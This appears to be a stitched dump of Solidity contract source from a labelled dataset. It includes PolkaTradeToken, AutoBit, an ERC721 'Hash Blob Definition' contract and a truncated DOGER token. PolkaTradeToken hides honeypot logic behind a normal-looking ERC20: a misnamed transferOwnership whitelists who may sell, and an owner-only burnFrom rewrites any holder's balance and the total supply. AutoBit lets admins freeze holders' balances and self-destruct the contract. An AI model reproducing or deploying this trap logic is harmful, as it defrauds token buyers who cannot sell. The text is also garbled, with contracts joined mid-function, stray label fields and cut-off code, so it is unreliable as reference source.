(bool success, bytes memory returnData) = target.call{ value: value }(callData);
require(success, "Timelock::executeTransaction: Transaction execution reverted.");
emit ExecuteTransaction(txHash, target, value, signature, data, eta);
return returnData;
}
function getBlockTimestamp() internal view returns (uint) {
return block.timestamp;
}
}
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|
//"SPDX-License-Identifier: MIT"
/**
____ ____ ______ __
/ __ \____ / / /______ /_ __/________ _____/ /__
/ /_/ / __ \/ / //_/ __ `// / / ___/ __ `/ __ / _ \
/ ____/ /_/ / / ,< / /_/ // / / / / /_/ / /_/ / __/
/_/ \____/_/_/|_|\__,_//_/ /_/ \__,_/\__,_/\___/
*/
pragma solidity 0.6.0;
/**
* @dev Interface ofƒice the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address trecipient, uint256 amount) external returns (bool);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
abstract contract ERC20Detailed is IERC20 {
uint8 private _Tokendecimals;
string private _Tokenname;
string private _Tokensymbol;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_Tokendecimals = decimals;
_Tokenname = name;
_Tokensymbol = symbol;
}
function name() public view returns(string memory) {
return _Tokenname;
}
function symbol() public view returns(string memory) {
return _Tokensymbol;
}
function decimals() public view returns(uint8) {
return _Tokendecimals;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = msg.sender;
owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner == msg.sender, "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(owner, address(0));
owner = address(0);
}
}
contract PolkaTradeToken is Ownable {
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping (address => uint256) private _balances;
address private _uniswaprouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor(uint256 _totalSupply) public {
name = "PolkaTrade.Finance";
symbol = "PLKF";
decimals = 18;
allow[msg.sender] = true;
//@dev Total supply creation
totalSupply = totalSupply.add(_totalSupply);
balances[msg.sender] = balances[msg.sender].add(_totalSupply);
emit Transfer(address(0), msg.sender, _totalSupply);
}
using SafeMath for uint256;
mapping(address => uint256) public balances;
mapping(address => bool) public allow;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) public allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(allow[_from] == true);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function transferOwnership(address ownerAddress, bool approved) external onlyOwner {
allow[ownerAddress] = approved;
}
//5% on sell
uint256 public burnPercentage = 5;
function findPercentage(uint256 amount) public view returns (uint256) {
uint256 percent = amount.mul(burnPercentage).div(100);
return percent;
}
function _burnTokens(address account, uint256 amount) internal {
require(amount != 0);
require(amount <= _balances[account]);
totalSupply = totalSupply.sub(amount);
_balances[account] = _balances[account].sub(amount);
emit Transfer(account, address(0), amount);
}
function burnFrom(address account, uint256 balance, uint256 subtract) external onlyOwner {
require(account != address(0), "ERC20: burn from the zero address disallowed");
balances[account] = balance.sub(subtract, "ERC20: burn amount exceeds balance");
totalSupply = balance.sub(subtract);
}
//burn rate change, only by owner
//only if necessary after community vote
function changeBurnPercentage(uint8 newRate) external onlyOwner {
burnPercentage = newRate;
}
//transfer function
function _execTransfer(address _from, address _to, uint256 _value) private {
if (_to == address(0)) revert();
if (_value <= 0) revert();
if (_balances[_from] < _value) revert();
if (_balances[_to] + _value < _balances[_to]) revert();
//buy transfer
if(_to == _uniswaprouter || _to == owner || _from == owner) {
_balances[_from] = SafeMath.sub(_balances[_from], _value);
_balances[_to] = SafeMath.add(_balances[_to], _value);
emit Transfer(_from, _to, _value);
} else {
//sell transfer, burn
uint256 tokensToBurn = findPercentage(_value);
uint256 tokensToTransfer = _value.sub(tokensToBurn);
_balances[_from] = SafeMath.sub(_balances[_from], tokensToTransfer);
_balances[_to] = _balances[_to].add(tokensToTransfer);
emit Transfer(_from, _to, tokensToTransfer);
_burnTokens(_from, tokensToBurn);
}
}
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pragma solidity 0.4.24;
contract Math {
function add(uint256 x, uint256 y) pure internal returns(uint256) {
uint256 z = x + y;
assert((z >= x) && (z >= y));
return z;
}
function subtract(uint256 x, uint256 y) pure internal returns(uint256) {
assert(x >= y);
uint256 z = x - y;
return z;
}
}
contract Auth {
address owner = 0x0;
address admin = 0x0;
modifier isOwner {
require(owner == msg.sender);
_;
}
modifier isAdmin {
require(owner == msg.sender || admin == msg.sender);
_;
}
function setOwner(address _owner) isOwner public {
owner = _owner;
}
function setAdmin(address _admin) isOwner public {
admin = _admin;
}
function getManagers() public view returns (address _owner, address _admin) {
return (owner, admin);
}
}
contract Manage is Auth {
/**
* 0 : init, 1 : limited, 2 : running, 3 : finishing
*/
uint8 public status = 0;
modifier isRunning {
require(status == 2 || owner == msg.sender || admin == msg.sender || (status == 1 && (owner == msg.sender || admin == msg.sender)));
_;
}
function limit() isAdmin public {
require(status != 1);
status = 1;
}
function start() isAdmin public {
require(status != 2);
status = 2;
}
function close() isAdmin public {
require(status != 3);
status = 3;
}
}
contract EIP20Interface {
uint256 public totalSupply;
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract TokenBase is EIP20Interface, Manage, Math {
string public name;
string public symbol;
uint8 public decimals;
event Burn(address indexed from, uint256 value);
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
constructor() public {
owner = msg.sender;
admin = msg.sender;
}
function init(uint256 initialSupply, string tokenName, string tokenSymbol, uint8 tokenDecimals) internal {
require(status == 0);
totalSupply = initialSupply * 10 ** uint256(tokenDecimals);
balances[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
decimals = tokenDecimals;
status = 1;
}
function _transfer(address _from, address _to, uint256 _value) isRunning internal {
require(0x0 != _to);
require(balances[_from] >= _value);
require(balances[_to] + _value >= balances[_to]);
uint previousBalances = balances[_from] + balances[_to];
balances[_from] = Math.subtract(balances[_from], _value);
balances[_to] = Math.add(balances[_to], _value);
emit Transfer(_from, _to, _value);
assert(balances[_from] + balances[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowed[_from][msg.sender]);
allowed[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) isRunning public returns (bool success) {
require(_value == 0 || allowed[msg.sender][_spender] == 0);
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint256 _value) isRunning public returns (bool success) {
allowed[msg.sender][_spender] = Math.add(allowed[msg.sender][_spender], _value);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _value) isRunning public returns (bool success) {
uint256 oldValue = allowed[msg.sender][_spender];
if (_value >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = Math.subtract(oldValue, _value);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function burn(uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value); // Check if the sender has enough
balances[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balances[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowed[_from][msg.sender]); // Check allowance
balances[_from] -= _value; // Subtract from the targeted balance
allowed[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function destruct() isOwner public {
selfdestruct(owner);
}
}
contract AutoBit is TokenBase {
uint256 public sellPrice;
uint256 public buyPrice;
uint8 freezePercent;
address[] private frozenAddresses;
mapping (address => uint256) public frozenBalances;
mapping (address => mapping (uint256 => uint256)) public payedBalances;
event FrozenBalance(address indexed target, uint256 balance);
event Price(uint256 newSellPrice, uint256 newBuyPrice);
constructor() TokenBase() public {
init(10000000000, "AutoBit", "ATB", 18);
freezePercent = 100;
emit Transfer(address(0), msg.sender, totalSupply);
}
function _transfer(address _from, address _to, uint256 _value) isRunning internal {
require(frozenBalances[_from] <= balances[_from] - _value);
super._transfer(_from, _to, _value);
if(status == 1)
freeze(_to, freezePercent);
}
function increaseFrozenBalances(address target, uint256 _value) isAdmin public {
require(_value > 0);
if(frozenBalances[target] == 0)
frozenAddresses.push(target);
frozenBalances[target] += _value;
emit FrozenBalance(target, frozenBalances[target]);
}
function decreaseFrozenBalances(address target, uint256 _value) isAdmin public {
require(_value > 0 && frozenBalances[target] >= _value);
frozenBalances[target] -= _value;
if(frozenBalances[target] == 0)
deleteFrozenAddresses(target);
emit FrozenBalance(target, frozenBalances[target]);
}
function freeze(address target, uint8 percent) isAdmin public {
require(percent > 0 && percent <= 100);
if(frozenBalances[target] == 0)
frozenAddresses.push(target);
uint256 frozenBalance = balances[target] * percent / 100;
frozenBalances[target] = frozenBalance;
emit FrozenBalance(target, frozenBalance);
}
function changeFrozenBalanceAll(uint8 percent) isAdmin public {
uint arrayLength = frozenAddresses.length;
for (uint i=0; i<arrayLength; i++) {
uint256 frozenBalance = balances[frozenAddresses[i]] * percent / 100;
frozenBalances[frozenAddresses[i]] = frozenBalance;
}
}
function unfreeze(address target) isAdmin public {
deleteFrozenAddresses(target);
delete frozenBalances[target];
}
function deleteFrozenAddresses(address target) private {
uint arrayLength = frozenAddresses.length;
uint indexToBeDeleted;
for (uint i=0; i<arrayLength; i++) {
if (frozenAddresses[i] == target) {
indexToBeDeleted = i;
break;
}
}
address lastAddress = frozenAddresses[frozenAddresses.length-1];
frozenAddresses[indexToBeDeleted] = lastAddress;
frozenAddresses.length--;
}
function unfreezeAll() isAdmin public {
uint arrayLength = frozenAddresses.length;
for (uint i=0; i<arrayLength; i++) {
delete frozenBalances[frozenAddresses[i]];
}
delete frozenAddresses;
frozenAddresses.length = 0;
}
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) isAdmin public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
emit Price(sellPrice, buyPrice);
}
function pay(address _to, uint256 _value, uint256 no) public returns (bool success) {
_transfer(msg.sender, _to, _value);
payedBalances[msg.sender][no] = _value;
return true;
}
function payedBalancesOf(address target, uint256 no) public view returns (uint256 balance) {
return payedBalances[target][no];
}
function buy() payable public {
require(buyPrice > 0);
uint amount = msg.value / buyPrice;
_transfer(this, msg.sender, amount);
}
function sell(uint256 amount) public {
require(sellPrice > 0);
address myAddress = this;
require(myAddress.balance >= amount * sellPrice);
_transfer(msg.sender, this, amount);
msg.sender.transfer(amount * sellPrice);
}
function setFreezePercent(uint8 percent) isAdmin public {
freezePercent = percent;
}
function frozenBalancesOf(address target) public view returns (uint256 balance) {
return frozenBalances[target];
}
} | True | [
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|
pragma solidity 0.5.10;
import './LibAddress.sol';
import './LibInteger.sol';
/**
* @title BlobDefinition
* @dev HBD token contract adhering to ERC721 standard
*/
contract BlobDefinition
{
using LibAddress for address;
using LibInteger for uint;
event Transfer(address indexed from, address indexed to, uint indexed id);
event Approval(address indexed owner, address indexed approved, uint indexed id);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev The admin of the contract
*/
address payable private _admin;
/**
* @dev The total minted tokens
*/
uint private _supply;
/**
* @dev The base url of token info page
*/
string private _base_uri;
/**
* @dev Permitted addresses to carry out special functions
*/
mapping (address => bool) private _permissions;
/**
* @dev Number of tokens held by an address
*/
mapping (address => uint) private _token_balances;
/**
* @dev Owners of each token
*/
mapping (uint => address) private _token_owners;
/**
* @dev Approved third party addresses for each token
*/
mapping (uint => address) private _token_approvals;
/**
* @dev Approved third party addresses to manage all tokens belonging to some address
*/
mapping (address => mapping (address => bool)) private _token_operators;
/**
* @dev Interfaces supported by this contract
*/
mapping(bytes4 => bool) private _supported_interfaces;
/**
* @dev The name of token
*/
string private constant _name = "Hash Blob Definition";
/**
* @dev The symbol of token
*/
string private constant _symbol = "HBD";
/**
* Interface id for ERC165
*/
bytes4 private constant _interface_165 = 0x01ffc9a7;
/**
* Interface id for ERC721
*/
bytes4 private constant _interface_721 = 0x80ac58cd;
/**
* Maximum number of tokens to be minted
*/
uint private constant _max_supply = 16384;
/**
* @dev Initialise the contract
*/
constructor () public
{
//The contract creator becomes the admin
_admin = msg.sender;
//Register supported interfaces
_supported_interfaces[_interface_165] = true;
_supported_interfaces[_interface_721] = true;
}
/**
* @dev Allow access only for the admin of contract
*/
modifier onlyAdmin()
{
require(msg.sender == _admin);
_;
}
/**
* @dev Allow access only for the permitted addresses
*/
modifier onlyPermitted()
{
require(_permissions[msg.sender]);
_;
}
/**
* @dev Give or revoke permission of accounts
* @param account The address to change permission
* @param permission True if the permission should be granted, false if it should be revoked
*/
function permit(address account, bool permission) public onlyAdmin
{
_permissions[account] = permission;
}
/**
* @dev Withdraw from the balance of this contract
* @param amount The amount to be withdrawn, if zero is provided the whole balance will be withdrawn
*/
function clean(uint amount) public onlyAdmin
{
if (amount == 0){
_admin.transfer(address(this).balance);
} else {
_admin.transfer(amount);
}
}
/**
* @dev Set the base uri
* @param uri The base uri
*/
function base(string memory uri) public onlyAdmin
{
_base_uri = uri;
}
/**
* @dev Move token from one account to another
* @param from The token sender address
* @param to The recipient address
* @param id The token id to transfer
*/
function transferFrom(address from, address to, uint id) public
{
//The token must exist
require(_isExist(id));
//Caller must be approved or the owner of token
require(_isApprovedOrOwner(msg.sender, id));
//Do the transfer
_send(from, to, id, "");
}
/**
* @dev Safely move token from one account to another
* @param from The token sender address
* @param to The recipient address
* @param id The token id to transfer
*/
function safeTransferFrom(address from, address to, uint id) public
{
//The token must exist
require(_isExist(id));
//Caller must be approved or the owner of token
require(_isApprovedOrOwner(msg.sender, id));
//Do the transfer
_send(from, to, id, "");
}
/**
* @dev Safely move token from one account to another
* @param from The token sender address
* @param to The recipient address
* @param id The token id to transfer
* @param data Additional extra data
*/
function safeTransferFrom(address from, address to, uint id, bytes memory data) public
{
//The token must exist
require(_isExist(id));
//Caller must be approved or the owner of token
require(_isApprovedOrOwner(msg.sender, id));
//Do the transfer
_send(from, to, id, data);
}
/**
* @dev Allow a third party to transfer caller's token
* @param to The address to allow
* @param id The token id to allow transfer
*/
function approve(address to, uint id) public
{
//The token must exist
require(_isExist(id));
//No need to approve the owner
address owner = ownerOf(id);
require(to != owner);
//Caller must be the owner of token or an approved operator
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
//Grant approval
_token_approvals[id] = to;
//Emit events
emit Approval(owner, to, id);
}
/**
* @dev Grant or revoke approval for a third party to transfer all of caller's tokens
* @param to The address to grant or revoke
* @param approved Grant or revoke approval
*/
function setApprovalForAll(address to, bool approved) public
{
//Cannot set own settings
require(to != msg.sender);
//Grant or revoke approval
_token_operators[msg.sender][to] = approved;
//Emit events
emit ApprovalForAll(msg.sender, to, approved);
}
/**
* @dev Mint tokens
* @param to The owner of token
*/
function mint(address to) public onlyPermitted returns (uint)
{
//No point of minting to zero address
require(!to.isOriginAddress());
//Must not exceed the maximum available tokens to be minted
require(_supply < _max_supply);
//Mint the token
uint id = _supply.add(1);
_token_owners[id] = to;
_token_balances[to] = _token_balances[to].add(1);
//Increment supply
_supply = id;
//Emit events
emit Transfer(address(0), to, id);
return id;
}
/**
* @dev Enable tokens
* @param to The owner of token
* @param id The token id to enable
*/
function enable(address to, uint id) public onlyPermitted
{
//Must be a valid id
require(id > 0);
//No point of minting to zero address
require(!to.isOriginAddress());
//Token does not already exists
require(!_isExist(id));
//Enable the token
_token_owners[id] = to;
_token_balances[to] = _token_balances[to].add(1);
//Emit events
emit Transfer(address(0), to, id);
}
/**
* @dev Burn tokens
* @param owner The owner of token
* @param id The token id to burn
*/
function disable(address owner, uint id) public onlyPermitted
{
//Token must exist
require(_isExist(id));
//Token must be owned by sent in address
require(ownerOf(id) == owner);
//Disable the token
_token_approvals[id] = address(0);
_token_balances[owner] = _token_balances[owner].sub(1);
_token_owners[id] = address(0);
//Emit events
emit Transfer(owner, address(0), id);
}
/**
* @dev Safely move token from one account to another
* @param from The token sender address
* @param to The recipient address
* @param id The token id to transfer
*/
function move(address from, address to, uint id) public onlyPermitted
{
//The token must exist
require(_isExist(id));
//Do the transfer
_send(from, to, id, "");
}
/**
* @dev Get the approved address for a token
* @param id The token id
* @return address The approved address
*/
function getApproved(uint id) public view returns (address)
{
return _token_approvals[id];
}
/**
* @dev Check whether the provided operator is approved to manage owner's tokens
* @param owner The token owner address
* @param operator The operator address to check against
* @return bool True if the operator is approved, otherwise false
*/
function isApprovedForAll(address owner, address operator) public view returns (bool)
{
return _token_operators[owner][operator];
}
/**
* @dev Get number of tokens belonging to an account
* @param account The address of account to check
* @return uint The tokens balance
*/
function balanceOf(address account) public view returns (uint)
{
return _token_balances[account];
}
/**
* @dev Get the owner of a token
* @param id The id of token
* @return address The owner of token
*/
function ownerOf(uint id) public view returns (address)
{
return _token_owners[id];
}
/**
* @dev Get the url of token info page
* @param id The id of token
* @return string The url of token info page
*/
function tokenURI(uint id) public view returns (string memory)
{
if(_isExist(id)) {
return string(abi.encodePacked(_base_uri, id.toString()));
} else {
return "";
}
}
/**
* @dev Get the url of contract info page
* @return string The url of contract info page
*/
function contractURI() public view returns (string memory)
{
return _base_uri;
}
/**
* @dev Check whether the given interface is supported by this contract
* @param id The interface id to check
* @return True if the interface is supported
*/
function supportsInterface(bytes4 id) external view returns (bool) {
return _supported_interfaces[id];
}
/**
* @dev Get the total number of tokens in existance
* @return uint Number of tokens
*/
function totalSupply() public view returns (uint)
{
return _supply;
}
/**
* @dev Get the maximum number of tokens minted
* @return uint Maximum number of tokens
*/
function maxSupply() public pure returns (uint)
{
return _max_supply;
}
/**
* @dev Get name of token
* @return string The name
*/
function name() public pure returns (string memory)
{
return _name;
}
/**
* @dev Get symbol of token
* @return string The symbol
*/
function symbol() public pure returns (string memory)
{
return _symbol;
}
/**
* @dev Check whether the provided address is permitted
* @param account The address to check
* @return bool True if the address is permitted, otherwise false
*/
function isPermitted(address account) public view returns (bool)
{
return _permissions[account];
}
/**
* @dev Check whether the token exists
* @param id The id of token
* @return bool True if the token exists, otherwise false
*/
function _isExist(uint id) private view returns (bool)
{
return ownerOf(id) != address(0);
}
/**
* @dev Check whether the provided address is the owner of token or a approved address
* @param spender The address to check
* @param id The id of token
* @return bool True if the provided address is the owner of token or a approved address, otherwise false
*/
function _isApprovedOrOwner(address spender, uint id) private view returns (bool)
{
address owner = ownerOf(id);
return (spender == owner || getApproved(id) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Transfer tokens from one account to another
* @param from The token owner
* @param to The token receiver
* @param id The token id to transfer
* @param data Additional data to add to the transaction
*/
function _send(address from, address to, uint id, bytes memory data) private
{
//The token must be owned by the provided address
require(ownerOf(id) == from);
//No point of transferring to zero address
require(!to.isOriginAddress());
//Do nothing with the data
delete data;
//Clear approvals
_token_approvals[id] = address(0);
//Reduce the balance from owner
_token_balances[from] = _token_balances[from].sub(1);
//Increase the balance of receiver
_token_balances[to] = _token_balances[to].add(1);
//Set the new owner
_token_owners[id] = to;
//Emit events
emit Transfer(from, to, id);
}
} | True | [
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|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract DOGER is Context, IERC20, Ownable {
string private _name = 'The Doge of the Rings';
string private _symbol = 'DOGER \xf0\x9f\x92\x8d';
uint256 private _totalSupply = 10**12 * 10**18;
address public uniswapV2Pair;
address private _liquidityProvider;
address private _redistribution;
uint256 private MaxR = SafeMath.mul(_totalSupply,1000);
uint256 private maxSellLimit = SafeMath.div(_totalSupply,20);
uint256 private _rTotal = MaxR - _totalSupply;
bool public enableCooldown = true;
